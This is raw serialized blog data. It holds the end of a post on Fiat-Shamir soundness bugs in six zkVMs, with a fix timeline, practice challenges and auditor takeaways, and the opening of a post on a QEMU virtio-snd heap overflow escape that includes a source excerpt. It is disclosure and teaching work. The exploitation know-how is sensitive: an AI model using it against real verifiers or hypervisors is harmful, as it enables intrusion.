Timeline",{"type":23,"tag":54995,"props":122247,"children":122248},{},[122249,122277],{"type":23,"tag":122250,"props":122251,"children":122252},"thead",{},[122253],{"type":23,"tag":122254,"props":122255,"children":122256},"tr",{},[122257,122262,122267,122272],{"type":23,"tag":122258,"props":122259,"children":122260},"th",{},[122261],{"type":28,"value":22446},{"type":23,"tag":122258,"props":122263,"children":122264},{},[122265],{"type":28,"value":122266},"Reported",{"type":23,"tag":122258,"props":122268,"children":122269},{},[122270],{"type":28,"value":122271},"Fixed",{"type":23,"tag":122258,"props":122273,"children":122274},{},[122275],{"type":28,"value":122276},"Response Time",{"type":23,"tag":122278,"props":122279,"children":122280},"tbody",{},[122281,122304,122325,122345,122367,122388],{"type":23,"tag":122254,"props":122282,"children":122283},{},[122284,122289,122294,122299],{"type":23,"tag":122285,"props":122286,"children":122287},"td",{},[122288],{"type":28,"value":107112},{"type":23,"tag":122285,"props":122290,"children":122291},{},[122292],{"type":28,"value":122293},"Sep 2025",{"type":23,"tag":122285,"props":122295,"children":122296},{},[122297],{"type":28,"value":122298},"Oct 3, 2025",{"type":23,"tag":122285,"props":122300,"children":122301},{},[122302],{"type":28,"value":122303},"\u003C1 week",{"type":23,"tag":122254,"props":122305,"children":122306},{},[122307,122311,122316,122321],{"type":23,"tag":122285,"props":122308,"children":122309},{},[122310],{"type":28,"value":107118},{"type":23,"tag":122285,"props":122312,"children":122313},{},[122314],{"type":28,"value":122315},"Oct 2025",{"type":23,"tag":122285,"props":122317,"children":122318},{},[122319],{"type":28,"value":122320},"Oct 24, 2025",{"type":23,"tag":122285,"props":122322,"children":122323},{},[122324],{"type":28,"value":122303},{"type":23,"tag":122254,"props":122326,"children":122327},{},[122328,122332,122336,122341],{"type":23,"tag":122285,"props":122329,"children":122330},{},[122331],{"type":28,"value":107124},{"type":23,"tag":122285,"props":122333,"children":122334},{},[122335],{"type":28,"value":122315},{"type":23,"tag":122285,"props":122337,"children":122338},{},[122339],{"type":28,"value":122340},"Oct 31, 2025",{"type":23,"tag":122285,"props":122342,"children":122343},{},[122344],{"type":28,"value":122303},{"type":23,"tag":122254,"props":122346,"children":122347},{},[122348,122352,122357,122362],{"type":23,"tag":122285,"props":122349,"children":122350},{},[122351],{"type":28,"value":107130},{"type":23,"tag":122285,"props":122353,"children":122354},{},[122355],{"type":28,"value":122356},"Nov 2025",{"type":23,"tag":122285,"props":122358,"children":122359},{},[122360],{"type":28,"value":122361},"Mar 5, 2026",{"type":23,"tag":122285,"props":122363,"children":122364},{},[122365],{"type":28,"value":122366},"~4 months",{"type":23,"tag":122254,"props":122368,"children":122369},{},[122370,122374,122379,122384],{"type":23,"tag":122285,"props":122371,"children":122372},{},[122373],{"type":28,"value":107142},{"type":23,"tag":122285,"props":122375,"children":122376},{},[122377],{"type":28,"value":122378},"Dec 2025",{"type":23,"tag":122285,"props":122380,"children":122381},{},[122382],{"type":28,"value":122383},"Dec 29, 2025",{"type":23,"tag":122285,"props":122385,"children":122386},{},[122387],{"type":28,"value":122303},{"type":23,"tag":122254,"props":122389,"children":122390},{},[122391,122395,122399,122404],{"type":23,"tag":122285,"props":122392,"children":122393},{},[122394],{"type":28,"value":107136},{"type":23,"tag":122285,"props":122396,"children":122397},{},[122398],{"type":28,"value":122356},{"type":23,"tag":122285,"props":122400,"children":122401},{},[122402],{"type":28,"value":122403},"Jan 21, 2026?",{"type":23,"tag":122285,"props":122405,"children":122406},{},[122407],{"type":28,"value":122408},"3 months",{"type":23,"tag":24,"props":122410,"children":122411},{},[122412],{"type":28,"value":122413},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":18031,"props":122415,"children":122416},{},[],{"type":23,"tag":61,"props":122418,"children":122420},{"id":122419},"challenges",[122421],{"type":28,"value":107155},{"type":23,"tag":24,"props":122423,"children":122424},{},[122425,122427],{"type":28,"value":122426},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":122428,"props":122429,"children":122430},"del",{},[122431],{"type":28,"value":122432},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":122434,"children":122435},{},[122436,122438,122491,122492,122748],{"type":28,"value":122437},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":94,"props":122439,"children":122441},{"className":122440},[3237,3238],[122442],{"type":23,"tag":314,"props":122443,"children":122445},{"className":122444},[3243],[122446],{"type":23,"tag":314,"props":122447,"children":122449},{"className":122448,"ariaHidden":1481},[3248],[122450],{"type":23,"tag":314,"props":122451,"children":122453},{"className":122452},[3253],[122454,122458,122463,122468,122472,122477,122482,122486],{"type":23,"tag":314,"props":122455,"children":122457},{"className":122456,"style":114354},[3258],[],{"type":23,"tag":314,"props":122459,"children":122461},{"className":122460},[3264,20825],[122462],{"type":28,"value":31},{"type":23,"tag":314,"props":122464,"children":122466},{"className":122465},[3376],[122467],{"type":28,"value":3379},{"type":23,"tag":314,"props":122469,"children":122471},{"className":122470,"style":3383},[3344],[],{"type":23,"tag":314,"props":122473,"children":122475},{"className":122474},[3264,20825],[122476],{"type":28,"value":2477},{"type":23,"tag":314,"props":122478,"children":122480},{"className":122479},[3376],[122481],{"type":28,"value":3379},{"type":23,"tag":314,"props":122483,"children":122485},{"className":122484,"style":3383},[3344],[],{"type":23,"tag":314,"props":122487,"children":122489},{"className":122488},[3264,20825],[122490],{"type":28,"value":308},{"type":28,"value":108955},{"type":23,"tag":94,"props":122493,"children":122495},{"className":122494},[3237,3238],[122496],{"type":23,"tag":314,"props":122497,"children":122499},{"className":122498},[3243],[122500],{"type":23,"tag":314,"props":122501,"children":122503},{"className":122502,"ariaHidden":1481},[3248],[122504,122567,122629,122735],{"type":23,"tag":314,"props":122505,"children":122507},{"className":122506},[3253],[122508,122513,122554,122558,122563],{"type":23,"tag":314,"props":122509,"children":122512},{"className":122510,"style":122511},[3258],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":122514,"children":122516},{"className":122515},[3264],[122517,122522],{"type":23,"tag":314,"props":122518,"children":122520},{"className":122519},[3264,20825],[122521],{"type":28,"value":31},{"type":23,"tag":314,"props":122523,"children":122525},{"className":122524},[3280],[122526],{"type":23,"tag":314,"props":122527,"children":122529},{"className":122528},[3285],[122530],{"type":23,"tag":314,"props":122531,"children":122533},{"className":122532},[3290],[122534],{"type":23,"tag":314,"props":122535,"children":122537},{"className":122536,"style":3259},[3295],[122538],{"type":23,"tag":314,"props":122539,"children":122540},{"style":3299},[122541,122545],{"type":23,"tag":314,"props":122542,"children":122544},{"className":122543,"style":3305},[3304],[],{"type":23,"tag":314,"props":122546,"children":122548},{"className":122547},[3310,3311,3312,3313],[122549],{"type":23,"tag":314,"props":122550,"children":122552},{"className":122551},[3264,3313],[122553],{"type":28,"value":16535},{"type":23,"tag":314,"props":122555,"children":122557},{"className":122556,"style":3345},[3344],[],{"type":23,"tag":314,"props":122559,"children":122561},{"className":122560},[3350],[122562],{"type":28,"value":1130},{"type":23,"tag":314,"props":122564,"children":122566},{"className":122565,"style":3345},[3344],[],{"type":23,"tag":314,"props":122568,"children":122570},{"className":122569},[3253],[122571,122575,122616,122620,122625],{"type":23,"tag":314,"props":122572,"children":122574},{"className":122573,"style":3259},[3258],[],{"type":23,"tag":314,"props":122576,"children":122578},{"className":122577},[3264],[122579,122584],{"type":23,"tag":314,"props":122580,"children":122582},{"className":122581},[3264,20825],[122583],{"type":28,"value":2477},{"type":23,"tag":314,"props":122585,"children":122587},{"className":122586},[3280],[122588],{"type":23,"tag":314,"props":122589,"children":122591},{"className":122590},[3285],[122592],{"type":23,"tag":314,"props":122593,"children":122595},{"className":122594},[3290],[122596],{"type":23,"tag":314,"props":122597,"children":122599},{"className":122598,"style":3259},[3295],[122600],{"type":23,"tag":314,"props":122601,"children":122602},{"style":3299},[122603,122607],{"type":23,"tag":314,"props":122604,"children":122606},{"className":122605,"style":3305},[3304],[],{"type":23,"tag":314,"props":122608,"children":122610},{"className":122609},[3310,3311,3312,3313],[122611],{"type":23,"tag":314,"props":122612,"children":122614},{"className":122613},[3264,3313],[122615],{"type":28,"value":16535},{"type":23,"tag":314,"props":122617,"children":122619},{"className":122618,"style":3442},[3344],[],{"type":23,"tag":314,"props":122621,"children":122623},{"className":122622},[3447],[122624],{"type":28,"value":1102},{"type":23,"tag":314,"props":122626,"children":122628},{"className":122627,"style":3442},[3344],[],{"type":23,"tag":314,"props":122630,"children":122632},{"className":122631},[3253],[122633,122638,122679,122684,122688,122693,122698,122702,122707,122712,122716,122721,122725,122731],{"type":23,"tag":314,"props":122634,"children":122637},{"className":122635,"style":122636},[3258],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":122639,"children":122641},{"className":122640},[3264],[122642,122647],{"type":23,"tag":314,"props":122643,"children":122645},{"className":122644},[3264,20825],[122646],{"type":28,"value":308},{"type":23,"tag":314,"props":122648,"children":122650},{"className":122649},[3280],[122651],{"type":23,"tag":314,"props":122652,"children":122654},{"className":122653},[3285],[122655],{"type":23,"tag":314,"props":122656,"children":122658},{"className":122657},[3290],[122659],{"type":23,"tag":314,"props":122660,"children":122662},{"className":122661,"style":3259},[3295],[122663],{"type":23,"tag":314,"props":122664,"children":122665},{"style":3299},[122666,122670],{"type":23,"tag":314,"props":122667,"children":122669},{"className":122668,"style":3305},[3304],[],{"type":23,"tag":314,"props":122671,"children":122673},{"className":122672},[3310,3311,3312,3313],[122674],{"type":23,"tag":314,"props":122675,"children":122677},{"className":122676},[3264,3313],[122678],{"type":28,"value":16535},{"type":23,"tag":314,"props":122680,"children":122682},{"className":122681},[3376],[122683],{"type":28,"value":3379},{"type":23,"tag":314,"props":122685,"children":122687},{"className":122686,"style":3383},[3344],[],{"type":23,"tag":314,"props":122689,"children":122691},{"className":122690},[3264,20825],[122692],{"type":28,"value":31},{"type":23,"tag":314,"props":122694,"children":122696},{"className":122695},[3376],[122697],{"type":28,"value":3379},{"type":23,"tag":314,"props":122699,"children":122701},{"className":122700,"style":3383},[3344],[],{"type":23,"tag":314,"props":122703,"children":122705},{"className":122704},[3264,20825],[122706],{"type":28,"value":2477},{"type":23,"tag":314,"props":122708,"children":122710},{"className":122709},[3376],[122711],{"type":28,"value":3379},{"type":23,"tag":314,"props":122713,"children":122715},{"className":122714,"style":3383},[3344],[],{"type":23,"tag":314,"props":122717,"children":122719},{"className":122718},[3264,20825],[122720],{"type":28,"value":308},{"type":23,"tag":314,"props":122722,"children":122724},{"className":122723,"style":3442},[3344],[],{"type":23,"tag":314,"props":122726,"children":122728},{"className":122727},[3447],[122729],{"type":28,"value":122730},"≥",{"type":23,"tag":314,"props":122732,"children":122734},{"className":122733,"style":3442},[3344],[],{"type":23,"tag":314,"props":122736,"children":122738},{"className":122737},[3253],[122739,122743],{"type":23,"tag":314,"props":122740,"children":122742},{"className":122741,"style":93330},[3258],[],{"type":23,"tag":314,"props":122744,"children":122746},{"className":122745},[3264],[122747],{"type":28,"value":3267},{"type":28,"value":122749},". Good luck!",{"type":23,"tag":837,"props":122751,"children":122753},{"id":122752},"jolt",[122754],{"type":28,"value":107112},{"type":23,"tag":24,"props":122756,"children":122757},{},[122758,122760,122771,122773],{"type":28,"value":122759},"See ",{"type":23,"tag":31,"props":122761,"children":122768},{"href":122762,"target":122763,"rel":122764,"download":122767},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[122765,122766],"noopener","noreferrer","handout_jolt.tar.gz",[122769],{"type":28,"value":122770},"the handout",{"type":28,"value":122772}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":94,"props":122774,"children":122776},{"className":122775},[],[122777],{"type":28,"value":122778},"jolt.chal.osec.io:8960",{"type":23,"tag":837,"props":122780,"children":122782},{"id":122781},"nexus-1",[122783],{"type":28,"value":107118},{"type":23,"tag":24,"props":122785,"children":122786},{},[122787,122788,122795,122796],{"type":28,"value":122759},{"type":23,"tag":31,"props":122789,"children":122793},{"href":122790,"target":122763,"rel":122791,"download":122792},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[122765,122766],"handout_nexus.tar.gz",[122794],{"type":28,"value":122770},{"type":28,"value":122772},{"type":23,"tag":94,"props":122797,"children":122799},{"className":122798},[],[122800],{"type":28,"value":122801},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":122803,"children":122804},{},[122805],{"type":28,"value":122806},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":18031,"props":122808,"children":122809},{},[],{"type":23,"tag":61,"props":122811,"children":122813},{"id":122812},"takeaways",[122814],{"type":28,"value":122815},"Takeaways",{"type":23,"tag":24,"props":122817,"children":122818},{},[122819],{"type":28,"value":122820},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":122822,"children":122823},{},[122824],{"type":28,"value":122825},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":122827,"children":122828},{},[122829,122834],{"type":23,"tag":721,"props":122830,"children":122831},{},[122832],{"type":28,"value":122833},"For the ZK ecosystem:",{"type":28,"value":122835}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":122837,"children":122838},{},[122839],{"type":28,"value":122840},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":122842,"children":122843},{},[122844,122849],{"type":23,"tag":721,"props":122845,"children":122846},{},[122847],{"type":28,"value":122848},"For auditors:",{"type":28,"value":122850}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":122852,"children":122853},{},[122854,122859],{"type":23,"tag":721,"props":122855,"children":122856},{},[122857],{"type":28,"value":122858},"For builders:",{"type":28,"value":122860}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":2096,"props":122862,"children":122863},{},[122864],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":122866},[122867,122868,122871,122877,122878,122886,122892,122895,122896,122900],{"id":107163,"depth":370,"text":107166},{"id":107305,"depth":370,"text":107308,"children":122869},[122870],{"id":107311,"depth":380,"text":107314},{"id":107740,"depth":370,"text":107743,"children":122872},[122873,122874,122875,122876],{"id":107751,"depth":380,"text":107754},{"id":107939,"depth":380,"text":107942},{"id":111320,"depth":380,"text":111323},{"id":112534,"depth":380,"text":112537},{"id":114171,"depth":370,"text":114174},{"id":114677,"depth":370,"text":114680,"children":122879},[122880,122881,122882,122883,122884,122885],{"id":114699,"depth":380,"text":114702},{"id":116024,"depth":380,"text":107118},{"id":117160,"depth":380,"text":117163},{"id":117828,"depth":380,"text":117831},{"id":120484,"depth":380,"text":120487},{"id":121038,"depth":380,"text":107142},{"id":121967,"depth":370,"text":121970,"children":122887},[122888,122889,122890,122891],{"id":121978,"depth":380,"text":121981},{"id":122148,"depth":380,"text":122151},{"id":122172,"depth":380,"text":122175},{"id":122188,"depth":380,"text":122191},{"id":122202,"depth":370,"text":122205,"children":122893},[122894],{"id":122208,"depth":380,"text":122211},{"id":122242,"depth":370,"text":122245},{"id":122419,"depth":370,"text":107155,"children":122897},[122898,122899],{"id":122752,"depth":380,"text":107112},{"id":122781,"depth":380,"text":107118},{"id":122812,"depth":370,"text":122815},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":122905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":122906,"description":122907,"date":122908,"author":122909,"image":122910,"isFeatured":18,"onBlogPage":18,"tags":122912,"body":122915,"_type":2117,"_id":131199,"_source":2119,"_file":131200,"_stem":131201,"_extension":2122},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":122911,"width":96520,"height":12871},"/posts/virtio-snd-qemu-0day/title.png",[122913,122914],"qemu","heap-overflow",{"type":20,"children":122916,"toc":131181},[122917,122922,122927,122932,122938,122943,122948,122956,122962,122974,122978,122983,122991,122996,123002,123007,123020,123630,123665,123710,123744,123779,123913,123961,123967,123972,124728,124773,124809,124844,124909,124929,125379,125426,125429,125434,125499,125525,125547,125551,125556,125561,125567,125572,125577,125582,125588,125601,125607,125612,125620,125690,125695,125701,125714,125940,126003,126022,126405,126410,126443,126448,126724,126736,126754,127033,127045,127048,127083,127088,127094,127106,127118,127123,127128,127138,127173,127790,127822,127833,127869,127882,127888,127900,127908,127934,127939,127972,128013,128019,128038,128076,128084,128133,128138,128187,128192,128200,128287,128293,128332,128344,128352,128370,128389,128397,128409,128417,128436,128444,128455,128463,128474,128482,128495,128503,128509,128514,128527,128535,128553,128561,128573,128578,128586,128622,128655,128662,128696,128704,128709,128715,128727,128738,129017,129077,129145,129153,129187,129791,129802,129810,129816,129821,129832,130585,130618,130630,130716,130736,130945,130992,131004,131010,131029,131055,131083,131099,131126,131129,131149,131163,131167,131172,131177],{"type":23,"tag":24,"props":122918,"children":122919},{},[122920],{"type":28,"value":122921},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":61,"props":122923,"children":122924},{"id":122913},[122925],{"type":28,"value":122926},"QEMU",{"type":23,"tag":24,"props":122928,"children":122929},{},[122930],{"type":28,"value":122931},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":837,"props":122933,"children":122935},{"id":122934},"virtio-devices",[122936],{"type":28,"value":122937},"Virtio Devices",{"type":23,"tag":24,"props":122939,"children":122940},{},[122941],{"type":28,"value":122942},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":122944,"children":122945},{},[122946],{"type":28,"value":122947},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":122949,"children":122950},{},[122951],{"type":23,"tag":197,"props":122952,"children":122955},{"alt":122953,"src":122954},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":61,"props":122957,"children":122959},{"id":122958},"finding-a-bug",[122960],{"type":28,"value":122961},"Finding a Bug",{"type":23,"tag":24,"props":122963,"children":122964},{},[122965,122967,122973],{"type":28,"value":122966},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":94,"props":122968,"children":122970},{"className":122969},[],[122971],{"type":28,"value":122972},"virtio-snd",{"type":28,"value":282},{"type":23,"tag":837,"props":122975,"children":122976},{"id":122972},[122977],{"type":28,"value":122972},{"type":23,"tag":24,"props":122979,"children":122980},{},[122981],{"type":28,"value":122982},"From the official documentation:",{"type":23,"tag":2186,"props":122984,"children":122985},{},[122986],{"type":23,"tag":24,"props":122987,"children":122988},{},[122989],{"type":28,"value":122990},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":122992,"children":122993},{},[122994],{"type":28,"value":122995},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":18130,"props":122997,"children":122999},{"id":122998},"audio-data-buffers",[123000],{"type":28,"value":123001},"Audio Data Buffers",{"type":23,"tag":24,"props":123003,"children":123004},{},[123005],{"type":28,"value":123006},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":123008,"children":123009},{},[123010,123012,123018],{"type":28,"value":123011},"For example, the following is ",{"type":23,"tag":94,"props":123013,"children":123015},{"className":123014},[],[123016],{"type":28,"value":123017},"virtio_snd_handle_rx_xfer",{"type":28,"value":123019},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":304,"props":123021,"children":123023},{"code":123022,"language":308,"meta":7,"className":306,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[123024],{"type":23,"tag":94,"props":123025,"children":123026},{"__ignoreMap":7},[123027,123034,123042,123050,123057,123065,123073,123081,123129,123136,123153,123160,123167,123179,123196,123203,123239,123259,123270,123277,123284,123292,123299,123332,123391,123409,123448,123473,123497,123525,123552,123590,123597,123609,123616,123623],{"type":23,"tag":314,"props":123028,"children":123029},{"class":316,"line":317},[123030],{"type":23,"tag":314,"props":123031,"children":123032},{"style":374},[123033],{"type":28,"value":48616},{"type":23,"tag":314,"props":123035,"children":123036},{"class":316,"line":370},[123037],{"type":23,"tag":314,"props":123038,"children":123039},{"style":374},[123040],{"type":28,"value":123041}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":314,"props":123043,"children":123044},{"class":316,"line":380},[123045],{"type":23,"tag":314,"props":123046,"children":123047},{"style":374},[123048],{"type":28,"value":123049}," * respective streams for consumption.\n",{"type":23,"tag":314,"props":123051,"children":123052},{"class":316,"line":1091},[123053],{"type":23,"tag":314,"props":123054,"children":123055},{"style":374},[123056],{"type":28,"value":18726},{"type":23,"tag":314,"props":123058,"children":123059},{"class":316,"line":1141},[123060],{"type":23,"tag":314,"props":123061,"children":123062},{"style":374},[123063],{"type":28,"value":123064}," * @vdev: VirtIOSound device\n",{"type":23,"tag":314,"props":123066,"children":123067},{"class":316,"line":1173},[123068],{"type":23,"tag":314,"props":123069,"children":123070},{"style":374},[123071],{"type":28,"value":123072}," * @vq: rx virtqueue\n",{"type":23,"tag":314,"props":123074,"children":123075},{"class":316,"line":1208},[123076],{"type":23,"tag":314,"props":123077,"children":123078},{"style":374},[123079],{"type":28,"value":123080}," */\n",{"type":23,"tag":314,"props":123082,"children":123083},{"class":316,"line":1216},[123084,123088,123092,123097,123102,123106,123111,123116,123120,123125],{"type":23,"tag":314,"props":123085,"children":123086},{"style":321},[123087],{"type":28,"value":50295},{"type":23,"tag":314,"props":123089,"children":123090},{"style":321},[123091],{"type":28,"value":50300},{"type":23,"tag":314,"props":123093,"children":123094},{"style":332},[123095],{"type":28,"value":123096}," virtio_snd_handle_rx_xfer",{"type":23,"tag":314,"props":123098,"children":123099},{"style":338},[123100],{"type":28,"value":123101},"(VirtIODevice ",{"type":23,"tag":314,"props":123103,"children":123104},{"style":354},[123105],{"type":28,"value":256},{"type":23,"tag":314,"props":123107,"children":123108},{"style":360},[123109],{"type":28,"value":123110},"vdev",{"type":23,"tag":314,"props":123112,"children":123113},{"style":338},[123114],{"type":28,"value":123115},", VirtQueue ",{"type":23,"tag":314,"props":123117,"children":123118},{"style":354},[123119],{"type":28,"value":256},{"type":23,"tag":314,"props":123121,"children":123122},{"style":360},[123123],{"type":28,"value":123124},"vq",{"type":23,"tag":314,"props":123126,"children":123127},{"style":338},[123128],{"type":28,"value":2414},{"type":23,"tag":314,"props":123130,"children":123131},{"class":316,"line":1301},[123132],{"type":23,"tag":314,"props":123133,"children":123134},{"style":338},[123135],{"type":28,"value":10129},{"type":23,"tag":314,"props":123137,"children":123138},{"class":316,"line":1343},[123139,123144,123148],{"type":23,"tag":314,"props":123140,"children":123141},{"style":338},[123142],{"type":28,"value":123143}," VirtQueueElement ",{"type":23,"tag":314,"props":123145,"children":123146},{"style":354},[123147],{"type":28,"value":256},{"type":23,"tag":314,"props":123149,"children":123150},{"style":338},[123151],{"type":28,"value":123152},"elem;\n",{"type":23,"tag":314,"props":123154,"children":123155},{"class":316,"line":1351},[123156],{"type":23,"tag":314,"props":123157,"children":123158},{"style":338},[123159],{"type":28,"value":104053},{"type":23,"tag":314,"props":123161,"children":123162},{"class":316,"line":1387},[123163],{"type":23,"tag":314,"props":123164,"children":123165},{"emptyLinePlaceholder":18},[123166],{"type":28,"value":1088},{"type":23,"tag":314,"props":123168,"children":123169},{"class":316,"line":1422},[123170,123174],{"type":23,"tag":314,"props":123171,"children":123172},{"style":2284},[123173],{"type":28,"value":2287},{"type":23,"tag":314,"props":123175,"children":123176},{"style":338},[123177],{"type":28,"value":123178}," (;;) {\n",{"type":23,"tag":314,"props":123180,"children":123181},{"class":316,"line":1430},[123182,123187,123191],{"type":23,"tag":314,"props":123183,"children":123184},{"style":338},[123185],{"type":28,"value":123186}," VirtIOSoundPCMStream ",{"type":23,"tag":314,"props":123188,"children":123189},{"style":354},[123190],{"type":28,"value":256},{"type":23,"tag":314,"props":123192,"children":123193},{"style":338},[123194],{"type":28,"value":123195},"stream;\n",{"type":23,"tag":314,"props":123197,"children":123198},{"class":316,"line":1452},[123199],{"type":23,"tag":314,"props":123200,"children":123201},{"emptyLinePlaceholder":18},[123202],{"type":28,"value":1088},{"type":23,"tag":314,"props":123204,"children":123205},{"class":316,"line":1497},[123206,123211,123215,123220,123225,123229,123234],{"type":23,"tag":314,"props":123207,"children":123208},{"style":338},[123209],{"type":28,"value":123210}," elem ",{"type":23,"tag":314,"props":123212,"children":123213},{"style":354},[123214],{"type":28,"value":1102},{"type":23,"tag":314,"props":123216,"children":123217},{"style":332},[123218],{"type":28,"value":123219}," virtqueue_pop",{"type":23,"tag":314,"props":123221,"children":123222},{"style":338},[123223],{"type":28,"value":123224},"(vq, ",{"type":23,"tag":314,"props":123226,"children":123227},{"style":321},[123228],{"type":28,"value":1609},{"type":23,"tag":314,"props":123230,"children":123231},{"style":338},[123232],{"type":28,"value":123233},"(VirtQueueElement));",{"type":23,"tag":314,"props":123235,"children":123236},{"style":374},[123237],{"type":28,"value":123238}," // [1]\n",{"type":23,"tag":314,"props":123240,"children":123241},{"class":316,"line":1539},[123242,123246,123250,123254],{"type":23,"tag":314,"props":123243,"children":123244},{"style":2284},[123245],{"type":28,"value":2527},{"type":23,"tag":314,"props":123247,"children":123248},{"style":338},[123249],{"type":28,"value":2324},{"type":23,"tag":314,"props":123251,"children":123252},{"style":354},[123253],{"type":28,"value":19859},{"type":23,"tag":314,"props":123255,"children":123256},{"style":338},[123257],{"type":28,"value":123258},"elem) {\n",{"type":23,"tag":314,"props":123260,"children":123261},{"class":316,"line":1548},[123262,123266],{"type":23,"tag":314,"props":123263,"children":123264},{"style":2284},[123265],{"type":28,"value":2553},{"type":23,"tag":314,"props":123267,"children":123268},{"style":338},[123269],{"type":28,"value":2278},{"type":23,"tag":314,"props":123271,"children":123272},{"class":316,"line":1584},[123273],{"type":23,"tag":314,"props":123274,"children":123275},{"style":338},[123276],{"type":28,"value":2602},{"type":23,"tag":314,"props":123278,"children":123279},{"class":316,"line":1617},[123280],{"type":23,"tag":314,"props":123281,"children":123282},{"emptyLinePlaceholder":18},[123283],{"type":28,"value":1088},{"type":23,"tag":314,"props":123285,"children":123286},{"class":316,"line":1625},[123287],{"type":23,"tag":314,"props":123288,"children":123289},{"style":338},[123290],{"type":28,"value":123291}," [...]\n",{"type":23,"tag":314,"props":123293,"children":123294},{"class":316,"line":1660},[123295],{"type":23,"tag":314,"props":123296,"children":123297},{"emptyLinePlaceholder":18},[123298],{"type":28,"value":1088},{"type":23,"tag":314,"props":123300,"children":123301},{"class":316,"line":1708},[123302,123307,123311,123315,123319,123323,123328],{"type":23,"tag":314,"props":123303,"children":123304},{"style":332},[123305],{"type":28,"value":123306}," 